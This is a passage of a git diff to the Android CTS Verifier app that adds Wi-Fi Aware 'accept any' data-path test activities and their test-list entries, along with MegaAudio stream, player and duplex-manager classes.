+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, solicited publish
+ */
+public class DataPathPmkSolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_pmk_solicited_publish,
+                R.string.aware_data_path_pmk_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
index d6678eb..e0c0f29 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true);
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.java
new file mode 100644
index 0000000..4c557e9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, unsolicited publish
+ */
+public class DataPathPmkUnsolicitedPublishAcceptAnyTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_pmk_unsolicited_publish,
+                R.string.aware_data_path_pmk_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
index 8cfc1f9..a9154ec 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
@@ -29,7 +29,8 @@
     @Override
     protected BaseTestCase getTestCase(Context context) {
         return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
-                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true);
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true,
+                /* acceptAny */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
index 2c6a895..0138787 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -29,6 +29,8 @@
 import android.view.View;
 import android.widget.ListView;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -157,6 +159,76 @@
                     new Intent(this, DiscoveryRangingSubscribeTestActivity.class), null));
         }
 
+        if (BuildCompat.isAtLeastS()) {
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_open_unsolicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenUnsolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathOpenPassiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenPassiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_passphrase_unsolicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this,
+                            DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_pmk_unsolicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkUnsolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPmkPassiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_open_solicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathOpenSolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenSolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathOpenActiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathOpenActiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_passphrase_solicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphraseSolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
+            adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                    R.string.aware_dp_ib_pmk_solicited_accept_any));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_publish,
+                    DataPathPmkSolicitedPublishAcceptAnyTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkSolicitedPublishAcceptAnyTestActivity.class),
+                    null));
+            adapter.add(TestListAdapter.TestListItem.newTest(this,
+                    R.string.aware_subscribe,
+                    DataPathPmkActiveSubscribeTestActivity.class.getName(),
+                    new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null));
+        }
+
         adapter.registerDataSetObserver(new DataSetObserver() {
             @Override
             public void onChanged() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 7a3384b..737234a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -23,6 +23,7 @@
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.wifi.aware.PublishDiscoverySession;
 import android.net.wifi.aware.WifiAwareNetworkInfo;
 import android.net.wifi.aware.WifiAwareNetworkSpecifier;
 import android.util.Log;
@@ -86,6 +87,7 @@
     private boolean mIsSecurityOpen;
     private boolean mUsePmk;
     private boolean mIsPublish;
+    private boolean mIsAcceptAny;
     private Thread mClientServerThread;
     private ConnectivityManager mCm;
     private CallbackUtils.NetworkCb mNetworkCb;
@@ -93,12 +95,13 @@
     private static int sSDKLevel = android.os.Build.VERSION.SDK_INT;
 
     public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
-            boolean isUnsolicited, boolean usePmk) {
+            boolean isUnsolicited, boolean usePmk, boolean acceptAny) {
         super(context, isUnsolicited, false);
 
         mIsSecurityOpen = isSecurityOpen;
         mUsePmk = usePmk;
         mIsPublish = isPublish;
+        mIsAcceptAny = acceptAny;
     }
 
     @Override
@@ -366,8 +369,14 @@
         }
 
         // 5. Request network
-        WifiAwareNetworkSpecifier.Builder nsBuilder =
-                new WifiAwareNetworkSpecifier.Builder(mWifiAwareDiscoverySession, mPeerHandle);
+        WifiAwareNetworkSpecifier.Builder nsBuilder;
+        if (mIsAcceptAny) {
+            nsBuilder = new WifiAwareNetworkSpecifier
+                    .Builder((PublishDiscoverySession) mWifiAwareDiscoverySession);
+        } else {
+            nsBuilder = new WifiAwareNetworkSpecifier
+                    .Builder(mWifiAwareDiscoverySession, mPeerHandle);
+        }
         if (!mIsSecurityOpen) {
             if (mUsePmk) {
                 nsBuilder.setPmk(PMK);
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
new file mode 100644
index 0000000..7021bfc
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.common;
+
+public class BuilderBase {
+    //TODO exlain the structure of these constants
+    // API Types - enumerated in high nibble
+    public static final int TYPE_MASK = 0xF000;
+    public static final int TYPE_UNDEFINED = 0xF000;
+    public static final int TYPE_NONE = 0x0000;
+    public static final int TYPE_JAVA = 0x1000;
+    public static final int TYPE_OBOE = 0x2000;
+
+    // API subtypes - enumerated in low nibble
+    public static final int SUB_TYPE_MASK = 0x0000F;
+    public static final int SUB_TYPE_OBOE_DEFAULT = 0x0000;
+    public static final int SUB_TYPE_OBOE_AAUDIO = 0x0001;
+    public static final int SUB_TYPE_OBOE_OPENSL_ES = 0x0002;
+
+    protected int mType = TYPE_UNDEFINED;
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
new file mode 100644
index 0000000..1fb3cf0
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.common;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+
+public abstract class StreamBase {
+    //
+    // Error Codes
+    // These values must be kept in sync with the equivalent symbols in
+    // megaaudio/common/Streambase.h
+    //
+    public static final int OK = 0;
+    public static final int ERROR_UNKNOWN = -1;
+    public static final int ERROR_UNSUPPORTED = -2;
+    public static final int ERROR_INVALID_STATE = -3;
+
+    //
+    // Stream attributes
+    //
+    protected int mChannelCount;
+    protected int mSampleRate;
+
+    // Routing
+    protected AudioDeviceInfo mRouteDevice;
+
+    // the thread on which the underlying Android AudioTrack/AudioRecord will run
+    protected Thread mStreamThread = null;
+
+    //
+    // Attributes
+    //
+    public int getChannelCount() { return mChannelCount; }
+    public int getSampleRate() { return mSampleRate; }
+
+    public abstract int getNumBufferFrames();
+
+    // Routing
+    public void setRouteDevice(AudioDeviceInfo routeDevice) {
+        mRouteDevice = routeDevice;
+    }
+
+    public static final int ROUTED_DEVICE_ID_INVALID = -1;
+    public abstract int getRoutedDeviceId();
+
+    //
+    // Sample Format Utils
+    //
+    /**
+     * @param encoding An Android ENCODING_ constant for audio data.
+     * @return The size in BYTES of samples encoded as specified.
+     */
+    public static int sampleSizeInBytes(int encoding) {
+        switch (encoding) {
+            case AudioFormat.ENCODING_PCM_16BIT:
+                return 2;
+
+            case AudioFormat.ENCODING_PCM_FLOAT:
+                return 4;
+
+            default:
+                return 0;
+        }
+    }
+
+    /**
+     * @param numChannels   The number of channels in a FRAME of audio data.
+     * @return  The size in BYTES of a FRAME of audio data encoded as specified.
+     */
+    public static int calcFrameSizeInBytes(int numChannels) {
+        return sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT) * numChannels;
+    }
+
+    //
+    // State
+    //
+
+    /**
+     * @param channelCount  The number of channels of audio data to be streamed.
+     * @param sampleRate    The stream sample rate
+     * @param numFrames     The number of frames of audio data in the stream's buffer.
+     * @return              ERROR_NONE if successful, otherwise an error code
+     */
+    public abstract int setupStream(int channelCount, int sampleRate, int numFrames);
+
+    public abstract int teardownStream();
+
+    /**
+     * Starts playback on an open stream player. (@see open() method above).
+     * @return              ERROR_NONE if successful, otherwise an error code
+     */
+    public abstract int startStream();
+
+    /**
+     * Stops playback.
+     * May not stop the stream immediately. i.e. does not stop until the next audio callback
+     * from the underlying system.
+     * @return              ERROR_NONE if successful, otherwise an error code
+     */
+    public abstract int stopStream();
+
+    //
+    // Thread stuff
+    //
+    /**
+     * Joins the record thread to ensure that the stream is stopped.
+     */
+    protected void waitForStreamThreadToExit() {
+        try {
+            if (mStreamThread != null) {
+                mStreamThread.join();
+                mStreamThread = null;
+            }
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    //
+    // Utility
+    //
+    /**
+     * @param chanCount The number of channels for which to generate an index mask.
+     * @return  A channel index mask corresponding to the supplied channel count.
+     *
+     * @note The generated index mask has active channels from 0 to chanCount - 1
+     */
+    public static int channelCountToIndexMask(int chanCount) {
+        return  (1 << chanCount) - 1;
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
new file mode 100644
index 0000000..bc94ea4
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.duplex;
+
+import android.media.AudioDeviceInfo;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.Player;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+
+public class DuplexAudioManager {
+    private static final String TAG = DuplexAudioManager.class.getSimpleName();
+
+    // Player
+    //TODO - explain these constants
+    private int mNumPlayerChannels = 2;
+    private int mPlayerSampleRate = 48000;
+    private int mNumPlayerBufferFrames;
+
+    private Player mPlayer;
+    private AudioSourceProvider mSourceProvider;
+    private AudioDeviceInfo mPlayerSelectedDevice;
+
+    // Recorder
+    private int mNumRecorderChannels = 2;
+    private int mRecorderSampleRate = 48000;
+    private int mNumRecorderBufferFrames;
+
+    private Recorder mRecorder;
+    private AudioSinkProvider mSinkProvider;
+    private AudioDeviceInfo mRecorderSelectedDevice;
+    private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
+    public DuplexAudioManager(AudioSourceProvider sourceProvider, AudioSinkProvider sinkProvider) {
+        mSourceProvider = sourceProvider;
+        mSinkProvider = sinkProvider;
+    }
+
+    public void setInputPreset(int preset) { mInputPreset = preset; }
+
+    public int setupStreams(int playerType, int recorderType) {
+        // Recorder
+        if ((recorderType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+            try {
+                mRecorder = new RecorderBuilder()
+                        .setRecorderType(recorderType)
+                        .setAudioSinkProvider(mSinkProvider)
+                        .build();
+                if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+                    mRecorder.setInputPreset(mInputPreset);
+                }
+                mRecorder.setRouteDevice(mRecorderSelectedDevice);
+                int errorCode = mRecorder.setupStream(
+                        mNumRecorderChannels, mRecorderSampleRate, mNumRecorderBufferFrames);
+                if (errorCode != StreamBase.OK) {
+                    Log.e(TAG, "Recorder setupStream() failed");
+                    return errorCode;
+                }
+                mNumRecorderBufferFrames = mRecorder.getNumBufferFrames();
+            } catch (RecorderBuilder.BadStateException ex) {
+                Log.e(TAG, "Recorder - BadStateException" + ex);
+                return StreamBase.ERROR_UNSUPPORTED;
+            }
+        }
+
+        // Player
+        if ((playerType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+            try {
+                mNumPlayerBufferFrames =
+                        Player.calcMinBufferFrames(mNumPlayerChannels, mPlayerSampleRate);
+                mPlayer = new PlayerBuilder()
+                        .setPlayerType(playerType)
+                        .setSourceProvider(mSourceProvider)
+                        .build();
+                mPlayer.setRouteDevice(mPlayerSelectedDevice);
+                int errorCode = mPlayer.setupStream(
+                        mNumPlayerChannels, mPlayerSampleRate, mNumPlayerBufferFrames);
+                if (errorCode != StreamBase.OK) {
+                    Log.e(TAG, "Player - setupStream() failed");
+                    return errorCode;
+                }
+            } catch (PlayerBuilder.BadStateException ex) {
+                Log.e(TAG, "Player - BadStateException" + ex);
+                return StreamBase.ERROR_UNSUPPORTED;
+            }
+        }
+
+        return StreamBase.OK;
+    }
+
+    public int start() {
+        int result = StreamBase.OK;
+        if (mRecorder != null && (result = mRecorder.startStream()) != StreamBase.OK) {
+            return result;
+        }
+
+        if (mPlayer != null && (result = mPlayer.startStream()) != StreamBase.OK) {
+            return result;
+        }
+
+        return result;
+    }
+
+    public int stop() {
+        int playerResult = StreamBase.OK;
+        if (mPlayer != null) {
+           int result1 = mPlayer.stopStream();
+           int result2 = mPlayer.teardownStream();
+           playerResult = result1 != StreamBase.OK ? result1 : result2;
+        }
+
+        int recorderResult = StreamBase.OK;
+        if (mRecorder != null) {
+            int result1 = mRecorder.stopStream();
+            int result2 = mRecorder.teardownStream();
+            recorderResult = result1 != StreamBase.OK ? result1 : result2;
+        }
+
+        return playerResult != StreamBase.OK ? playerResult: recorderResult;
+    }
+
+    public int getNumPlayerBufferFrames() {
+        return mPlayer != null ? mPlayer.getNumBufferFrames() : 0;
+    }
+
+    public int getNumRecorderBufferFrames() {
+        return mRecorder != null ? mRecorder.getNumBufferFrames() : 0;
+    }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
new file mode 100644
index 0000000..a8c41c1
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public abstract class AudioSource {
+    public AudioSource() {}
+
+    /**
+     * Called before the stream starts to allow initialization of the source
+     * @param numFrames The number of frames that will be requested in each pull() call.
+     * @param numChans The number of channels in the stream.
+     */
+    public void init(int numFrames, int numChans) {}
+
+    public void start() {}
+    public void stop() {}
+
+    /**
+     * reset a stream to the beginning.
+     */
+    public void reset() {}
+
+    /**
+     * Process a request for audio data.
+     * @param audioData The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return The number of frames actually generated. If this value is less than that
+     * requested, it may be interpreted by the player as the end of playback.
+     * Note that the player will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    public abstract int pull(float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
new file mode 100644
index 0000000..587c699
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public interface AudioSourceProvider {
+    /**
+     * @return return a Java AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation.
+     */
+    AudioSource getJavaSource();
+
+    /**
+     * @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
+     * implementation (stored in a long).
+     */
+    NativeAudioSource getNativeSource();
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
new file mode 100644
index 0000000..6f8b8ff
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
@@ -0,0 +1,227 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioTrack;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.StreamBase;
+
+/**
+ * Implementation of abstract Player class implemented for the Android Java-based audio playback
+ * API, i.e. AudioTrack.
+ */
+public class JavaPlayer extends Player {
+    @SuppressWarnings("unused") private static String TAG = JavaPlayer.class.getSimpleName();
+    @SuppressWarnings("unused") private static final boolean LOG = false;
+
+    /*
+     * Player infrastructure
+     */
+    /* The AudioTrack for playing the audio stream */
+    private AudioTrack mAudioTrack;
+
+    private AudioSource mAudioSource;
+
+    // Playback state
+    /** <code>true</code> if currently playing audio data */
+    private boolean mPlaying;
+
+    /*
+     * Data buffers
+     */
+    /** Number of FRAMES of audio data in a burst buffer */
+    private int mNumBufferFrames;
+
+    /** The Burst Buffer. This is the buffer we fill with audio and feed into the AudioTrack. */
+    private float[] mAudioBuffer;
+
+    // Player-specific extension
+    public AudioTrack getAudioTrack() { return mAudioTrack; }
+
+    public JavaPlayer(AudioSourceProvider sourceProvider) {
+        super(sourceProvider);
+        mNumBufferFrames = -1;   // TODO need error defines
+    }
+
+    //
+    // Status
+    //
+    public boolean isPlaying() {
+        return mPlaying;
+    }
+
+    /**
+     * Allocates the array for the burst buffer.
+     */
+    private void allocBurstBuffer() {
+        // pad it by 1 frame. This allows some sources to not have to worry about
+        // handling the end-of-buffer edge case. i.e. a "Guard Point" for interpolation.
+        mAudioBuffer = new float[(mNumBufferFrames + 1) * mChannelCount];
+    }
+
+    //
+    // Attributes
+    //
+    /**
+     * @return The number of frames of audio data contained in the internal buffer.
+     */
+    @Override
+    public int getNumBufferFrames() {
+        return mNumBufferFrames;
+    }
+
+    @Override
+    public int getRoutedDeviceId() {
+        if (mAudioTrack != null) {
+            AudioDeviceInfo routedDevice = mAudioTrack.getRoutedDevice();
+            return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+        } else {
+            return ROUTED_DEVICE_ID_INVALID;
+        }
+    }
+
+    /*
+     * State
+     */
+    @Override
+    public int setupStream(int channelCount, int sampleRate, int numBufferFrames) {
+        if (LOG) {
+            Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
+                    ", frames:" + numBufferFrames);
+        }
+
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mNumBufferFrames = numBufferFrames;
+
+        mAudioSource = mSourceProvider.getJavaSource();
+        mAudioSource.init(mNumBufferFrames, mChannelCount);
+
+        try {
+            int bufferSizeInBytes = mNumBufferFrames * mChannelCount
+                    * sampleSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT);
+            mAudioTrack = new AudioTrack.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
+                            .setSampleRate(mSampleRate)
+                            .setChannelIndexMask(StreamBase.channelCountToIndexMask(mChannelCount))
+                            // .setChannelMask(channelMask)
+                            .build())
+                    .setBufferSizeInBytes(bufferSizeInBytes)
+                    .build();
+
+            allocBurstBuffer();
+            mAudioTrack.setPreferredDevice(mRouteDevice);
+        }  catch (UnsupportedOperationException ex) {
+            if (LOG) {
+                Log.i(TAG, "Couldn't open AudioTrack: " + ex);
+            }
+            mAudioTrack = null;
+            return ERROR_UNSUPPORTED;
+        }
+
+        return OK;
+    }
+
+    @Override
+    public int teardownStream() {
+        stopStream();
+
+        waitForStreamThreadToExit();
+
+        if (mAudioTrack != null) {
+            mAudioTrack.release();
+            mAudioTrack = null;
+        }
+
+        mChannelCount = 0;
+        mSampleRate = 0;
+
+        //TODO - Retrieve errors from above
+        return OK;
+    }
+
+    /**
+     * Allocates the underlying AudioTrack and begins Playback.
+     * @return True if the stream is successfully started.
+     *
+     * This method returns when the start operation is complete, but before the first
+     * call to the AudioSource.pull() method.
+     */
+    @Override
+    public int startStream() {
+        if (mAudioTrack == null) {
+            return ERROR_INVALID_STATE;
+        }
+        waitForStreamThreadToExit(); // just to be sure.
+
+        mStreamThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
+        mPlaying = true;
+        mStreamThread.start();
+
+        return OK;
+    }
+
+    /**
+     * Marks the stream for stopping on the next callback from the underlying system.
+     *
